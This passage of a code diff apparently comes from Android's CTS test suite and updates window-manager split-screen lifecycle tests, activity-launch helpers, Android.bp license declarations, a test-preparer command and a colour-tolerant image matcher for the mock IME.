@@ -160,11 +152,6 @@
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
                 .launch();
 
-        // Wait for first activity to resume after being moved to split-screen.
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
-        LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
-                Arrays.asList(ON_RESUME), "launchToSide");
-
         // Launch translucent activity on top of second
         getLifecycleLog().clear();
 
@@ -335,12 +322,23 @@
                 getLaunchActivityBuilder().
                         setTargetActivity(getComponentName(SecondActivity.class)));
 
-        // Wait for the activity to receive the change
-        waitForActivityTransitions(ConfigChangeHandlingActivity.class,
-                Arrays.asList(ON_TOP_POSITION_LOST, ON_MULTI_WINDOW_MODE_CHANGED));
-        LifecycleVerifier.assertOrder(getLifecycleLog(), ConfigChangeHandlingActivity.class,
-                Arrays.asList(ON_MULTI_WINDOW_MODE_CHANGED, ON_TOP_POSITION_LOST),
-                "moveToSplitScreen");
+        final int displayWindowingMode = getDisplayWindowingModeByActivity(
+                getComponentName(ConfigChangeHandlingActivity.class));
+        if (displayWindowingMode == WINDOWING_MODE_FULLSCREEN) {
+            // Wait for the activity to receive the change.
+            waitForActivityTransitions(ConfigChangeHandlingActivity.class,
+                    Arrays.asList(ON_TOP_POSITION_LOST, ON_MULTI_WINDOW_MODE_CHANGED));
+            LifecycleVerifier.assertOrder(getLifecycleLog(), ConfigChangeHandlingActivity.class,
+                    Arrays.asList(ON_MULTI_WINDOW_MODE_CHANGED, ON_TOP_POSITION_LOST),
+                    "moveToSplitScreen");
+        } else {
+            // For non-fullscreen display mode, there won't be a multi-window callback.
+            waitForActivityTransitions(ConfigChangeHandlingActivity.class,
+                    Arrays.asList(ON_TOP_POSITION_LOST));
+            LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
+                    transition(ConfigChangeHandlingActivity.class, ON_TOP_POSITION_LOST),
+                    "moveToSplitScreen");
+        }
 
         // Exit split-screen
         getLifecycleLog().clear();
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
index f2cab44..76919d7 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
@@ -17,6 +17,7 @@
 package android.server.wm.lifecycle;
 
 import static android.app.Instrumentation.ActivityMonitor;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TOP;
 import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
@@ -51,6 +52,7 @@
 import static org.junit.Assert.fail;
 
 import android.app.Activity;
+import android.app.ActivityOptions;
 import android.content.ComponentName;
 import android.content.Intent;
 import android.content.pm.ActivityInfo;
@@ -487,9 +489,15 @@
             return;
         }
 
-        final Activity becomingVisibleActivity = launchActivityAndWait(FirstActivity.class);
-        final Activity translucentActivity = launchActivityAndWait(TranslucentActivity.class);
-        final Activity topOpaqueActivity = launchActivityAndWait(SecondActivity.class);
+        final ActivityOptions options = ActivityOptions.makeBasic();
+        options.setLaunchWindowingMode(WINDOWING_MODE_FULLSCREEN);
+
+        final Activity becomingVisibleActivity =
+                new Launcher(FirstActivity.class).setOptions(options).launch();
+        final Activity translucentActivity =
+                new Launcher(TranslucentActivity.class).setOptions(options).launch();
+        final Activity topOpaqueActivity =
+                new Launcher(SecondActivity.class).setOptions(options).launch();
 
         waitAndAssertActivityStates(
                 state(becomingVisibleActivity, ON_STOP),
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
index 33279f1..7bbf9c1 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
@@ -309,11 +309,6 @@
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
                 .launch();
 
-        // Wait for first activity to resume after moving to primary split-screen
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
-        // First activity must be resumed, but not gain the top position
-        LifecycleVerifier.assertSequence(CallbackTrackingActivity.class, getLifecycleLog(),
-                Arrays.asList(ON_RESUME), "unminimizeDockedStack");
         // Second activity must be on top now
         LifecycleVerifier.assertLaunchSequence(SingleTopActivity.class, getLifecycleLog());
     }
@@ -334,9 +329,6 @@
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
                 .launch();
 
-        // Wait for first activity to resume after moving to primary split-screen
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
-
         // Switch top between two activities
         getLifecycleLog().clear();
         new Launcher(CallbackTrackingActivity.class)
@@ -473,9 +465,6 @@
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
                 .launch();
 
-        // Wait for first activity to resume after moving to primary split-screen
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
-
         // Tap on first activity to switch the focus
         getLifecycleLog().clear();
         final ActivityTask dockedStack = getStackForTaskId(firstActivity.getTaskId());
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleVerifier.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleVerifier.java
index 94db5bc..6045fc7 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleVerifier.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleVerifier.java
@@ -298,14 +298,31 @@
 
     static List<LifecycleLog.ActivityCallback> getSplitScreenTransitionSequence(
             Class<? extends Activity> activityClass) {
+        // Minimized-dock is not a policy requirement and but SysUI-specific concept, so we here
+        // don't expect a trailing ON_PAUSE.
         return CALLBACK_TRACKING_CLASS.isAssignableFrom(activityClass)
                 ? Arrays.asList(
                 ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP, ON_DESTROY, PRE_ON_CREATE,
                 ON_CREATE, ON_MULTI_WINDOW_MODE_CHANGED, ON_START, ON_POST_CREATE, ON_RESUME,
-                ON_TOP_POSITION_GAINED, ON_TOP_POSITION_LOST, ON_PAUSE)
+                ON_TOP_POSITION_GAINED, ON_TOP_POSITION_LOST)
                 : Arrays.asList(
                         ON_PAUSE, ON_STOP, ON_DESTROY, PRE_ON_CREATE, ON_CREATE, ON_START,
-                ON_RESUME, ON_PAUSE);
+                ON_RESUME);
+    }
+
+    // TODO(b/149338177): Remove this workaround once test passes with TestTaskOrganizer not to
+    // depend on minimized dock feature which is not policy requirement, but SysUI-specific.
+    /**
+     * Returns the result of appending "leave from minimized dock" transitions to given transitions
+     * to "consume" these activity callbacks.
+     */
+    static List<ActivityCallback> appendMinimizedDockTransitionTrail(
+            List<ActivityCallback> transitions) {
+        final List<LifecycleLog.ActivityCallback> newTransitions =
+                new ArrayList<LifecycleLog.ActivityCallback>(transitions);
+        newTransitions.addAll(Arrays.asList(ON_PAUSE, ON_RESUME));
+
+        return newTransitions;
     }
 
     static void assertSequence(Class<? extends Activity> activityClass, LifecycleLog lifecycleLog,
diff --git a/tests/framework/base/windowmanager/testsdk25/Android.bp b/tests/framework/base/windowmanager/testsdk25/Android.bp
index cc90392..3c3016f 100644
--- a/tests/framework/base/windowmanager/testsdk25/Android.bp
+++ b/tests/framework/base/windowmanager/testsdk25/Android.bp
@@ -13,6 +13,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsWindowManagerSdk25TestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/framework/base/windowmanager/testsdk28/Android.bp b/tests/framework/base/windowmanager/testsdk28/Android.bp
index 67d3516..d6d6d0c 100644
--- a/tests/framework/base/windowmanager/testsdk28/Android.bp
+++ b/tests/framework/base/windowmanager/testsdk28/Android.bp
@@ -13,6 +13,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsWindowManagerSdk28TestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/framework/base/windowmanager/testsdk29/Android.bp b/tests/framework/base/windowmanager/testsdk29/Android.bp
index f19f7b7..4d2a559 100644
--- a/tests/framework/base/windowmanager/testsdk29/Android.bp
+++ b/tests/framework/base/windowmanager/testsdk29/Android.bp
@@ -13,6 +13,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsWindowManagerSdk29TestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/framework/base/windowmanager/translucentapp/Android.bp b/tests/framework/base/windowmanager/translucentapp/Android.bp
index 9665321..6a3722a 100644
--- a/tests/framework/base/windowmanager/translucentapp/Android.bp
+++ b/tests/framework/base/windowmanager/translucentapp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 filegroup {
     name: "cts-wm-translucent-app",
     srcs: ["src/**/*.java"],
diff --git a/tests/framework/base/windowmanager/translucentappsdk26/Android.bp b/tests/framework/base/windowmanager/translucentappsdk26/Android.bp
index 2b5ff50..366b09c 100644
--- a/tests/framework/base/windowmanager/translucentappsdk26/Android.bp
+++ b/tests/framework/base/windowmanager/translucentappsdk26/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsDeviceTranslucentTestApp26",
     defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/util/Android.bp b/tests/framework/base/windowmanager/util/Android.bp
index 5ad5c4f..485fade 100644
--- a/tests/framework/base/windowmanager/util/Android.bp
+++ b/tests/framework/base/windowmanager/util/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 filegroup {
     name: "cts-wm-app-util",
     srcs: [
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index 5c371ad..9e11ebb 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -25,6 +25,8 @@
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_UNDEFINED;
 import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
 import static android.content.Intent.ACTION_MAIN;
 import static android.content.Intent.CATEGORY_HOME;
 import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
@@ -396,32 +398,107 @@
         private static final int ACTIVITY_LAUNCH_TIMEOUT = 10000;
         private static final int WAIT_SLICE = 50;
 
+        /**
+         * Launches an {@link Activity} on a target display synchronously.
+         * @param activityClass The {@link Activity} class to be launched
+         * @param displayId ID of the target display
+         */
         void launchTestActivityOnDisplaySync(Class<T> activityClass, int displayId) {
-            launchTestActivityOnDisplaySync(new Intent(mContext, activityClass), displayId);
+            launchTestActivityOnDisplaySync(activityClass, displayId, WINDOWING_MODE_UNDEFINED);
         }
 
-        void launchTestActivityOnDisplaySync(Intent intent, int displayId) {
-            SystemUtil.runWithShellPermissionIdentity(() -> {
-                mTestActivity = launchActivityOnDisplay(intent, displayId);
-                // Check activity is launched and resumed.
-                final ComponentName testActivityName = mTestActivity.getComponentName();
-                waitAndAssertTopResumedActivity(testActivityName, displayId,
-                        "Activity must be resumed");
-            });
+        /**
+         * Launches an {@link Activity} on a target display synchronously.
+         *
+         * @param activityClass The {@link Activity} class to be launched
+         * @param displayId ID of the target display
+         * @param windowingMode Windowing mode at launch
+         */
+        void launchTestActivityOnDisplaySync(
+                Class<T> activityClass, int displayId, int windowingMode) {
+            final Intent intent = new Intent(mContext, activityClass)
+                    .addFlags(FLAG_ACTIVITY_NEW_TASK);
+            final String className = intent.getComponent().getClassName();
+            launchTestActivityOnDisplaySync(className, intent, displayId, windowingMode);
         }
 
+        /**
+         * Launches an {@link Activity} synchronously on a target display. The class name needs to 
+         * be provided either implicitly through the {@link Intent} or explicitly as a parameter
+         *
+         * @param className Optional class name of expected activity
+         * @param intent Intent to launch an activity
+         * @param displayId ID for the target display
+         */
+        void launchTestActivityOnDisplaySync(@Nullable String className, Intent intent,
+                int displayId) {
+            launchTestActivityOnDisplaySync(className, intent, displayId, WINDOWING_MODE_UNDEFINED);
+        }
+
+        /**
+         * Launches an {@link Activity} synchronously on a target display. The class name needs to
+         * be provided either implicitly through the {@link Intent} or explicitly as a parameter
+         *
+         * @param className Optional class name of expected activity
+         * @param intent Intent to launch an activity
+         * @param displayId ID for the target display
+         * @param windowingMode Windowing mode at launch
+         */
+        void launchTestActivityOnDisplaySync(
+                @Nullable String className, Intent intent, int displayId, int windowingMode) {
+            SystemUtil.runWithShellPermissionIdentity(
+                    () -> {
+                        mTestActivity =
+                                launchActivityOnDisplay(
+                                        className, intent, displayId, windowingMode);
+                        // Check activity is launched and resumed.
+                        final ComponentName testActivityName = mTestActivity.getComponentName();
+                        waitAndAssertTopResumedActivity(
+                                testActivityName, displayId, "Activity must be resumed");
+                    });
+        }
+
+        /**
+         * Launches an {@link Activity} on a target display asynchronously.
+         * @param activityClass The {@link Activity} class to be launched
+         * @param displayId ID of the target display
+         */
         void launchTestActivityOnDisplay(Class<T> activityClass, int displayId) {
-            SystemUtil.runWithShellPermissionIdentity(() -> {
-                mTestActivity = launchActivityOnDisplay(new Intent(mContext, activityClass)
-                        .addFlags(FLAG_ACTIVITY_NEW_TASK), displayId);
-                assertNotNull(mTestActivity);
-            });
+            final Intent intent = new Intent(mContext, activityClass)
+                    .addFlags(FLAG_ACTIVITY_NEW_TASK);
+            final String className = intent.getComponent().getClassName();
+            SystemUtil.runWithShellPermissionIdentity(
+                    () -> {
+                        mTestActivity =
+                                launchActivityOnDisplay(
+                                        className, intent, displayId, WINDOWING_MODE_UNDEFINED);
+                        assertNotNull(mTestActivity);
+                    });
         }
 
-        private T launchActivityOnDisplay(Intent intent, int displayId) {
-            final Bundle bundle = ActivityOptions.makeBasic()
-                    .setLaunchDisplayId(displayId).toBundle();
-            final ActivityMonitor monitor = mInstrumentation.addMonitor((String) null, null, false);
+        /**
+         * Launches an {@link Activity} on a target display. In order to return the correct activity
+         * the class name or an explicit {@link Intent} must be provided.
+         *
+         * @param className Optional class name of expected activity
+         * @param intent {@link Intent} to launch an activity
+         * @param displayId ID for the target display
+         * @param windowingMode Windowing mode at launch
+         * @return The {@link Activity} that was launched
+         */
+        private T launchActivityOnDisplay(
+                @Nullable String className, Intent intent, int displayId, int windowingMode) {
+            final String localClassName = className != null ? className :
+              (intent.getComponent() != null ? intent.getComponent().getClassName() : null);
+            if (localClassName == null || localClassName.isEmpty()) {
+                fail("Must provide either a class name or an intent with a component");
+            }
+            final ActivityOptions launchOptions = ActivityOptions.makeBasic();
+            launchOptions.setLaunchDisplayId(displayId);
+            launchOptions.setLaunchWindowingMode(windowingMode);
+            final Bundle bundle = launchOptions.toBundle();
+            final ActivityMonitor monitor = mInstrumentation.addMonitor(localClassName, null,
+                    false);
             mContext.startActivity(intent.addFlags(FLAG_ACTIVITY_NEW_TASK), bundle);
             // Wait for activity launch with timeout.
             mTestActivity = (T) mInstrumentation.waitForMonitorWithTimeout(monitor,
@@ -733,6 +810,10 @@
         return null;
     }
 
+    protected int getDisplayWindowingModeByActivity(ComponentName activity) {
+        return mWmState.getDisplay(mWmState.getDisplayByActivity(activity)).getWindowingMode();
+    }
+
     /**
      * Launches the home activity directly. If there is no specific reason to simulate a home key
      * (which will trigger stop-app-switches), it is the recommended method to go home.
@@ -812,13 +893,12 @@
     /**
      * Moves the device into split-screen with the specified task into the primary stack.
      * @param taskId             The id of the task to move into the primary stack.
-     * @param showSideActivity   Whether to show the Recents activity (or a placeholder activity in
-     *                           place of the Recents activity if home is the recents component).
+     * @param showSideActivity   Whether to show the home activity or a placeholder activity in
+     *                           secondary split-screen.
      *                           If {@code true} it will also wait for activity in the primary
      *                           split-screen stack to be resumed.
      */
     public void moveTaskToPrimarySplitScreen(int taskId, boolean showSideActivity) {
-        final boolean isHomeRecentsComponent = mWmState.isHomeRecentsComponent();
         SystemUtil.runWithShellPermissionIdentity(() -> {
             if (mUseTaskOrganizer) {
                 mTaskOrganizer.putTaskInSplitPrimary(taskId);
@@ -826,30 +906,27 @@
                 mAtm.setTaskWindowingModeSplitScreenPrimary(taskId,
                         SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT, true /* onTop */,
                         false /* animate */, null /* initialBounds */,
-                        showSideActivity && !isHomeRecentsComponent);
+                        false /* showRecents */);
             }
 
-            mWmState.waitForRecentsActivityVisible();
+            // Wait for split screen ready
+            mWmState.waitForWithAmState(state -> {
+                final WindowManagerState.ActivityTask task =
+                        state.getStandardStackByWindowingMode(
+                                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+                return task != null && task.getResumedActivity() != null;
+            }, "home activity in the secondary split-screen task must be resumed");
 
             if (showSideActivity) {
-                if (isHomeRecentsComponent) {
-                    // Launch Placeholder Side Activity
-                    final ComponentName sideActivityName =
-                            new ComponentName(mContext, SideActivity.class);
-                    mContext.startActivity(new Intent().setComponent(sideActivityName)
-                            .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
-                    mWmState.waitForActivityState(sideActivityName, STATE_RESUMED);
-                }
+                // Launch Placeholder Side Activity
+                final ComponentName sideActivityName =
+                        new ComponentName(mContext, SideActivity.class);
+                mContext.startActivity(new Intent().setComponent(sideActivityName)
+                        .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
+                mWmState.waitForActivityState(sideActivityName, STATE_RESUMED);
 
-                // There are two cases when showSideActivity == true:
-                // Case 1: it's 3rd-party launcher and it should show recents, so the primary split
-                // screen won't enter minimized dock, but the activity on primary split screen
-                // should be relaunched.
-                // Case 2: It's not 3rd-party launcher but we launched side activity on secondary
-                // split screen, the activity on primary split screen should enter then leave
-                // minimized dock.
-                // In both cases, we shall wait for the state of the activity on primary split
-                // screen to resumed, so the LifecycleLog won't affect the following tests.
+                // Wait for the state of the activity on primary split screen to resumed, so the
+                // LifecycleLog won't affect the following tests.
                 mWmState.waitForWithAmState(state -> {
                     final WindowManagerState.ActivityTask stack =
                             state.getStandardStackByWindowingMode(
@@ -941,10 +1018,13 @@
                         new Rect(0, 0, taskWidth, taskHeight)));
     }
 
-    protected void pressAppSwitchButtonAndWaitForRecents() {
+    protected boolean pressAppSwitchButtonAndWaitForRecents() {
         pressAppSwitchButton();
-        mWmState.waitForRecentsActivityVisible();
-        mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
+        final boolean isRecentsVisible = mWmState.waitForRecentsActivityVisible();
+        if (isRecentsVisible) {
+            mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
+        }
+        return isRecentsVisible;
     }
 
     // Utility method for debugging, not used directly here, but useful, so kept around.
@@ -1003,6 +1083,10 @@
         return mContext.getResources().getConfiguration().smallestScreenWidthDp >= 600;
     }
 
+    protected boolean isOperatorTierDevice() {
+        return hasDeviceFeature("com.google.android.tv.operator_tier");
+    }
+
     protected void waitAndAssertActivityState(ComponentName activityName,
             String state, String message) {
         mWmState.waitForActivityState(activityName, state);
@@ -1169,6 +1253,11 @@
                 .getBoolean(android.R.bool.config_perDisplayFocusEnabled);
     }
 
+    protected static boolean remoteInsetsControllerControlsSystemBars() {
+        return getInstrumentation().getTargetContext().getResources()
+                .getBoolean(android.R.bool.config_remoteInsetsControllerControlsSystemBars);
+    }
+
     /** @see ObjectTracker#manage(AutoCloseable) */
     protected HomeActivitySession createManagedHomeActivitySession(ComponentName homeActivity) {
         return mObjectTracker.manage(new HomeActivitySession(homeActivity));
@@ -1361,6 +1450,10 @@
             } else {
                 Condition.waitFor("display to turn off", () -> !isDisplayOn(DEFAULT_DISPLAY));
             }
+            if(!isLockDisabled()) {
+                mWmState.waitFor(state -> state.getKeyguardControllerState().keyguardShowing,
+                        "Keyguard showing");
+            }
             return this;
         }
 
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/CommandSession.java b/tests/framework/base/windowmanager/util/src/android/server/wm/CommandSession.java
index 4039a13..418d298 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/CommandSession.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/CommandSession.java
@@ -1023,6 +1023,12 @@
             sizeInfo = new SizeInfo(display, metrics, config);
         }
 
+        public ConfigInfo(Resources res) {
+            final DisplayMetrics metrics = res.getDisplayMetrics();
+            final Configuration config = res.getConfiguration();
+            sizeInfo = new SizeInfo(null /* display */, metrics, config);
+        }
+
         @Override
         public String toString() {
             return "ConfigInfo: {displayId=" + displayId + " rotation=" + rotation
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java b/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java
index e304958..9df1fc8 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java
@@ -63,6 +63,7 @@
         final WindowContainerTransaction t = new WindowContainerTransaction();
         t.setBounds(taskInfo.getToken(), null);
         t.reparent(taskInfo.getToken(), mRootPrimary.getToken(), true /* onTop */);
+        t.reorder(mRootPrimary.getToken(), true /* onTop */);
         applyTransaction(t);
     }
 
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WaitForValidActivityState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WaitForValidActivityState.java
index 647e743..fd9127d 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WaitForValidActivityState.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WaitForValidActivityState.java
@@ -24,6 +24,7 @@
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_UNDEFINED;
 import static android.app.WindowConfiguration.WINDOWING_MODE_FREEFORM;
 import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.app.WindowConfiguration.WINDOWING_MODE_MULTI_WINDOW;
 import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
 import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
 import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
@@ -92,6 +93,7 @@
             case WINDOWING_MODE_SPLIT_SCREEN_PRIMARY: return "SPLIT_SCREEN_PRIMARY";
             case WINDOWING_MODE_SPLIT_SCREEN_SECONDARY: return "SPLIT_SCREEN_SECONDARY";
             case WINDOWING_MODE_FREEFORM: return "FREEFORM";
+            case WINDOWING_MODE_MULTI_WINDOW: return "MULTI_WINDOW";
             default:
                 throw new IllegalArgumentException("Unknown WINDOWING_MODE_: " + windowingMode);
         }
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
index c49d1fb..91e3359 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
@@ -39,6 +39,7 @@
 
 import android.content.ComponentName;
 import android.content.res.Configuration;
+import android.graphics.Point;
 import android.graphics.Rect;
 import android.os.ParcelFileDescriptor;
 import android.os.SystemClock;
@@ -837,6 +838,14 @@
         return mPendingActivities.contains(getActivityName(activityName));
     }
 
+    // Get the logical display size of the default display.
+    public static Point getLogicalDisplaySize() {
+        WindowManagerState mWmState = new WindowManagerState();
+        mWmState.computeState();
+        Rect size = mWmState.getDisplay(DEFAULT_DISPLAY).getDisplayRect();
+        return new Point(size.width(), size.height());
+    }
+
     String getDefaultDisplayLastTransition() {
         return getDisplay(DEFAULT_DISPLAY).getLastTransition();
     }
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
index 1a77ba4..e530dd4 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
@@ -141,11 +141,13 @@
         waitForValidState(homeActivity);
     }
 
-    void waitForRecentsActivityVisible() {
+    /** @return {@code true} if the recents is visible; {@code false} if timeout occurs. */
+    boolean waitForRecentsActivityVisible() {
         if (isHomeRecentsComponent()) {
             waitForHomeActivityVisible();
+            return true;
         } else {
-            waitForWithAmState(WindowManagerState::isRecentsActivityVisible,
+            return waitForWithAmState(WindowManagerState::isRecentsActivityVisible,
                     "recents activity to be visible");
         }
     }
diff --git a/tests/inputmethod/Android.bp b/tests/inputmethod/Android.bp
index 909ad0e..b4fb708 100644
--- a/tests/inputmethod/Android.bp
+++ b/tests/inputmethod/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsInputMethodTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/inputmethod/AndroidTest.xml b/tests/inputmethod/AndroidTest.xml
index 7419606..dc81b26 100644
--- a/tests/inputmethod/AndroidTest.xml
+++ b/tests/inputmethod/AndroidTest.xml
@@ -70,10 +70,10 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsInputMethodTestCases.apk" />
     </target_preparer>
+    <!-- Enabling change id ALLOW_TEST_API_ACCESS allows that package to access @TestApi methods -->
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-      <!-- Disable hidden API checking, see b/166236554 -->
-        <option name="run-command" value="settings put global hidden_api_policy 1" />
-        <option name="teardown-command" value="settings delete global hidden_api_policy" />
+        <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS com.android.cts.mockime"  />
+        <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS com.android.cts.mockime" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.view.inputmethod.cts" />
diff --git a/tests/inputmethod/mockime/Android.bp b/tests/inputmethod/mockime/Android.bp
index 58849e4..9ef4a44 100644
--- a/tests/inputmethod/mockime/Android.bp
+++ b/tests/inputmethod/mockime/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_helper_library {
     name: "CtsMockInputMethodLib",
     sdk_version: "test_current",
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java
index 144eee0..b1d8554 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java
@@ -17,6 +17,7 @@
 package com.android.cts.mockime;
 
 import android.graphics.Bitmap;
+import android.graphics.Color;
 
 import androidx.annotation.AnyThread;
 import androidx.annotation.ColorInt;
@@ -28,6 +29,13 @@
  */
 public final class Watermark {
     /**
+     * Tolerance level between the expected color and the actual color in each color channel.
+     *
+     * <p>See Bug 174534092 about why we ended up having this.</p>
+     */
+    private static final int TOLERANCE = 4;
+
+    /**
      * A utility class that represents A8R8G8B bitmap as an integer array.
      */
     private static final class BitmapImage {
@@ -96,15 +104,30 @@
         }
 
         /**
-         * Checks if the same image can be found in the specified {@link BitmapImage}
+         * Compares two given pixels to determine whether those two pixels are considered to be
+         * the same within {@link #TOLERANCE}.
+         *
+         * @param lhs a color integer to be compared.
+         * @param rhs another color integer to be compared.
+         * @return {@true} if two given pixels are the same within {@link #TOLERANCE}.
+         */
+        private static boolean robustMatchInternal(@ColorInt int lhs, @ColorInt int rhs) {
+            return lhs == rhs || (Math.abs(Color.red(lhs) - Color.red(rhs)) <= TOLERANCE
+                    && Math.abs(Color.green(lhs) - Color.green(rhs)) <= TOLERANCE
+                    && Math.abs(Color.blue(lhs) - Color.blue(rhs)) <= TOLERANCE);
+        }
+
+        /**
+         * Checks if the same image can be found in the specified {@link BitmapImage} within
+         * within {@link #TOLERANCE}.
          *
          * @param targetImage {@link BitmapImage} to be checked.
          * @param offsetX X offset in the {@code targetImage} used when comparing.
          * @param offsetY Y offset in the {@code targetImage} used when comparing.
-         * @return
+         * @return {@true} if two given images are the same within {@link #TOLERANCE}.
          */
         @AnyThread
-        boolean match(@NonNull BitmapImage targetImage, int offsetX, int offsetY) {
+        boolean robustMatch(@NonNull BitmapImage targetImage, int offsetX, int offsetY) {
             final int targetWidth = targetImage.getWidth();
